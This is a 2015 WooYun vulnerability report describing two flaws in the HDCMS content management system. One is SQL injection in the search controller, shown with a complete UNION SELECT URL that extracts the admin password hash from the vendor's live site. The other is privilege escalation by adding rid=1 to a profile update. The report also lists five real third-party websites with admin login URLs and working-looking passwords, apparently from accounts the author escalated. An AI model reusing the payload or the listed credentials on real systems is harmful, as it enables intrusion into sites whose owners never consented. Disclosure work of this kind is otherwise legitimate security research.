当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091764

漏洞标题:HDCMS内容管理系统两处sql注入(官网demo)

相关厂商:hdphp.com

漏洞作者: roker

提交时间:2015-01-28 10:41

修复时间:2015-04-02 10:23

公开时间:2015-04-02 10:23

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-28: 细节已通知厂商并且等待厂商处理中
2015-02-02: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-03-29: 细节向核心白帽子及相关领域专家公开
2015-04-08: 细节向普通白帽子公开
2015-04-18: 细节向实习白帽子公开
2015-04-02: 细节向公众公开

简要描述:

rt

详细说明:

HDCMS是一个用PHP编写的内容管理系统软件包,数据库采用Mysql。提供强大的、完整的功能,满足快速网站开发的目的。HDCMS完全基于后盾网HDPHP框架开发提供了众多的安全特性,产品安全无忧。这些特性包括:
COOKIE加密处理
数据预处理机制
XSS安全防护
防SQL注入
。。。。。。。。
#1
HDCMS/Addons/Search/Controller/IndexController.class.php

public function index()
{
if ($wd = Q('post.wd')) {
go(addon_url('index', array('wd' => $wd)));
}
$data = array();
if (!$search_history = cookie('search_history')) {
$search_history = array();
}
if ($wd = Q('get.wd')) {
$ContentModel = $this->db;
$where[] = "category.mid=" . $this->mid;
//按Tag搜索
if (Q('type') == 'tag') {
//当前Tag文章aid
if ($aids = K("ContentTag")->getContentAid($this->mid, $wd)) {
$where[] = $ContentModel->table . '.aid IN(' . implode(',', $aids) . ')';
}
} else {
//按文章标签搜索
$where[] = " title like '%$wd%'";
}
//搜索时间
if ($time = Q('get.time')) {
switch ($time) {
case 'day':
$where[] = 'addtime>' . (time() - 3600 * 24);
break;
case 'week':
$where[] = 'addtime>' . (time() - 3600 * 24 * 7);
break;
case 'month':
$where[] = 'addtime>' . (time() - 3600 * 24 * 7 * 30);
break;
case 'year':
$where[] = 'addtime>' . (time() - 3600 * 24 * 7 * 30 * 12);
break;
}
}
$page = new Page($ContentModel->where($where)->count(), 10);
$data = $ContentModel->where($where)->limit($page->limit())->order('arc_sort ASC,addtime DESC')->all();
array_unshift($search_history, $wd);
$search_history = array_unique($search_history);
$search_history = array_slice($search_history, 0, 8);
cookie('search_history', $search_history);
}
$this->assign('data', $data);
$this->assign('search_history', ($search_history));
$this->assign('model', S('model')); //模型
$this->assign('search_word', cookie('search_word'));
$this->display();
}
}


直接 Q('get.wd') 了,没有相应的过滤参数。导致注入的产生
以官网为例
http://www.hdphp.com/index.php?g=Addon&m=Search&c=Index&a=index&wd=a%%27%20and%201%20=%202%20union%20select%201,2,3,(select%20concat(username,0x5c,password)%20from%20hd_user%20where%20rid=1%20limit%201),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78%23

1.jpg


#2
HDCMS/Member/Controller/AccountController.class.php

public function personal()
{
if (IS_POST) {
if ($this->db->personal()) {
$this->success('修改资料成功');
} else {
$this->error($this->db->error);
}
} else {
$field = M('user')->find($_SESSION['user']['uid']);
$this->assign('field', $field);
$this->display();
}
}


跟到function personal

public function personal()
{
if (!Q('post.nickname')) {
$this->error = '昵称不能为空';
return false;
}
if (!$email = Q('post.email')) {
$this->error = '邮箱不能为空';
return false;
}
if (M('user')->where(array('email' => array("EQ", $email), 'username' => array('NEQ', $_SESSION['user']['username'])))->find()) {
$this->error = '昵称已经存在';
return false;
}
$_POST['uid'] = $_SESSION['user']['uid'];
return $this->save();
}


没有对键值进行合法判断,在hdcms中 管理员和会员是在同一个表的,区别就是rid的不同。
那么 我们修改资料 添加参数 rid=1 就能提升为管理组了,同样demo示例、

1.jpg


2.jpg


案例可参考官网给出的http://www.hdphp.com/index.php?m=Index&c=Category&a=index&cid=11。

漏洞证明:

2.jpg


1.jpg


案列。。

1.jpg


2.jpg


3.jpg


提升为管理员的案例
http://www.whgnlaser.net/index.php?m=Admin&c=Index&a=index 123456 123456
http://www.ten-chou.com/index.php?m=Admin&c=Index&a=index 111111 111111
http://www.wicte.com/index.php?m=Admin&c=Index&a=index 111111 111111
http://sjs56.com/index.php?m=Admin&c=Index&a=index 111111 111111
http://www.bj-hyd.com/index.php?m=Admin&c=Index&a=index 111111 111111

修复方案:

加强过滤

版权声明:转载请注明来源 roker@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-02 10:23

厂商回复:

最新状态:

暂无